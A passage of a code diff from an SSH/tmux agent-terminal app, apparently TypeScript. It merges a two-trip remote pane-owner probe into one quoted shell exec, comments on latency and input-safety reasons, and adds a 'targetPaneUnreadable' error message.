+ expect(script).toContain('|| exit 9')
+ })
})
diff --git a/src/core/remote-ssh/control-master.ts b/src/core/remote-ssh/control-master.ts
index ebf4c48ce..9db3fa2d1 100644
--- a/src/core/remote-ssh/control-master.ts
+++ b/src/core/remote-ssh/control-master.ts
@@ -19,7 +19,7 @@ import {
} from '../tmux-naming'
import { sanitizePasteText } from '../paste-injection'
import { canControlCanvas } from '../../shared/agents/config'
-import { PANE_OWNER_FMT, foregroundArgvArgs } from '../agents/pane-owner'
+import { COMBINED_PANE_MARKER, PANE_OWNER_FMT, PS_FOREGROUND_FLAGS } from '../agents/pane-owner'
// Dependency-free (no node-pty): safe to import from these pure builders.
/** Dedicated remote tmux socket so an SSH project never collides with the user's own tmux. */
@@ -527,42 +527,64 @@ export function remoteTerminateForegroundArgs(
)
}
/**
- * Ask the REMOTE tmux for everything the ownership read needs in one round-trip — the remote
- * counterpart of `PtyManager.paneOwner`'s first call. Same single-quoting rule as
- * `remotePaneCommandArgs`: the `#{…}` fields have to reach the remote tmux verbatim rather than
- * being eaten by the remote shell.
- */
-export function remotePaneOwnerArgs(conn: SshConnection, controlPath: string, sessionId: string): string[] {
- return childArgs(
- conn,
- controlPath,
- tmuxCmd(`tmux -L ${RMT_TMUX_SOCKET} display-message -p -t ${sessionId} '${PANE_OWNER_FMT}'`)
- )
-}
-
-/**
- * The second round-trip: `ps` on the REMOTE host, listing the pane tty's processes.
+ * The ONE-round-trip remote pane-owner read (issue #460) — identity AND foreground `ps` in a
+ * single ssh exec, replacing the two-trip pair below (tombstone).
*
- * `tty` is a value the remote host printed back at us (`#{pane_tty}`), so it is DATA crossing into
- * a command line — exactly the class `remote-safety.ts` exists for. Two layers, both required:
- * `isSafeTty` refuses anything outside `[A-Za-z0-9/._-]` (returning null here, which the caller
- * reads as "unknown"), and what survives is `posixQuote`d at the splice. No credential is involved
- * — a tty path is the whole payload — so nothing here needs, or may grow, a stdin header channel
- * (Global Constraint 6).
+ * WHY one trip, measured: `deliverAgentMessage` bounds the whole read with
+ * `PANE_PROBE_TIMEOUT_MS` (2s). Over a healthy mux channel each exec is ~100ms and two fit
+ * easily — but when the master cannot serve a channel, `-o ControlMaster=auto` silently
+ * "disables multiplexing" and every exec becomes a FULL ssh login. Measured on a real sshd with
+ * its 64 `MaxSessions` exhausted by 70 held channels: the probe exec printed
+ * `mux_client_request_session: session request failed: Session open refused by peer`, fell back
+ * to a direct connection, and still exited 0 — at 258ms on loopback, i.e. 0.5–1.5s per exec over
+ * a WAN. Two sequential fallback logins straddle the 2s budget, `probeWithin` answers null, and
+ * the delivery gate refused a LIVE agent pane — persistently, for as long as the canvas held the
+ * channels (field report: issue #460, on a host with 85 live `nt-` sessions). One trip halves
+ * both the latency and the fallback-login count (the 72k-logins hazard the probe's own comment
+ * warns about).
*
- * The `ps` flags are the ones measured for the local leg, unchanged: they are valid on both GNU and
- * BSD `ps`, and the remote host is at least as likely to be either.
+ * Shape rules, each learned elsewhere in this repo:
+ * - the identity line is fenced by `COMBINED_PANE_MARKER`, printed through a QUOTED printf
+ * format — an unquoted word-initial `##` is an sh comment and prints an empty line
+ * (session-memory-remote's measured trap);
+ * - a failed tmux read `exit 9`s so the whole exec throws and the caller answers null — "no
+ * such session" must stay indistinguishable from the old first-trip failure;
+ * - the tty never crosses back into OUR command line: it is cut from the reply INSIDE the same
+ * shell (`${o#*|}`) and expanded quoted, with a `/dev/*` case guard, so there is nothing
+ * left for `isSafeTty` to defend at the splice (the parser still applies it to the reply);
+ * - a `ps` that errors prints nothing below the marker (`2>/dev/null || :`) — identity with no
+ * rows parses to null, exactly the two-trip contract;
+ * - the `ps` flags are `PS_FOREGROUND_FLAGS`, the same constant the local leg passes as argv,
+ * so the two legs cannot drift.
*/
-export function remoteForegroundArgvArgs(
+export function remotePaneOwnerCombinedArgs(
conn: SshConnection,
controlPath: string,
- tty: string
-): string[] | null {
- const call = foregroundArgvArgs(tty)
- if (!call) return null
- return childArgs(conn, controlPath, `${call.bin} ${call.args.map(posixQuote).join(' ')}`)
+ sessionId: string
+): string[] {
+ // Every splice is checked at the splice (assertPasteTarget's own rule): the id is interpolated
+ // unquoted into a script the remote login shell parses, so a name this app did not generate is
+ // refused here rather than trusted to some caller's discipline.
+ assertPasteTarget(sessionId)
+ const ps = PS_FOREGROUND_FLAGS.join(' ')
+ const script =
+ `o=$(${tmuxCmd(`tmux -L ${RMT_TMUX_SOCKET} display-message -p -t ${sessionId} '${PANE_OWNER_FMT}'`)}) || exit 9; ` +
+ `printf '%s\\n' "${COMBINED_PANE_MARKER.trimEnd()} $o"; ` +
+ 'tty=${o#*|}; tty=${tty%%|*}; ' +
+ `case "$tty" in /dev/*) ps ${ps} -t "$tty" 2>/dev/null || : ;; esac`
+ return childArgs(conn, controlPath, script)
}
+/**
+ * ── DELETED: `remotePaneOwnerArgs` / `remoteForegroundArgvArgs` ─────────────────────────────────
+ *
+ * The two-round-trip remote pane read. Replaced by `remotePaneOwnerCombinedArgs` above (issue
+ * #460): under a saturated or dead ControlMaster each trip silently became a full ssh login, and
+ * two of them could not fit the delivery gate's 2s probe budget — a live agent pane then read as
+ * `unknown`, persistently. Do not resurrect the pair "for simplicity": the second trip is also a
+ * second fallback LOGIN in exactly the degraded state that made the first one slow.
+ */
+
/**
* Ask the REMOTE tmux where a pane's cursor is — the remote counterpart of `PtyManager.paneCursor`,
* and the thing that makes a refreshed SSH terminal land its cursor in the right place. Same
diff --git a/src/main/agent-messaging.ts b/src/main/agent-messaging.ts
index eaef41e2f..8d6919caa 100644
--- a/src/main/agent-messaging.ts
+++ b/src/main/agent-messaging.ts
@@ -400,6 +400,16 @@ export function renderMessageOutcome(o: AgentMessageOutcome): AgentMessageReply
error: `targetHookScriptStale: ${o.note}. ${advice}`,
result: o
}
+ case 'targetPaneUnreadable':
+ return {
+ ok: false,
+ error:
+ `targetPaneUnreadable: the target's pane could not be read in time (the ssh/tmux probe ` +
+ `failed or timed out) — this says nothing about what is running in it. On an SSH project ` +
+ `this usually means the host link is saturated or reconnecting; the message was refused ` +
+ `rather than sent blind. ${advice}`,
+ result: o
+ }
case 'targetNotAgentPane':
return {
ok: false,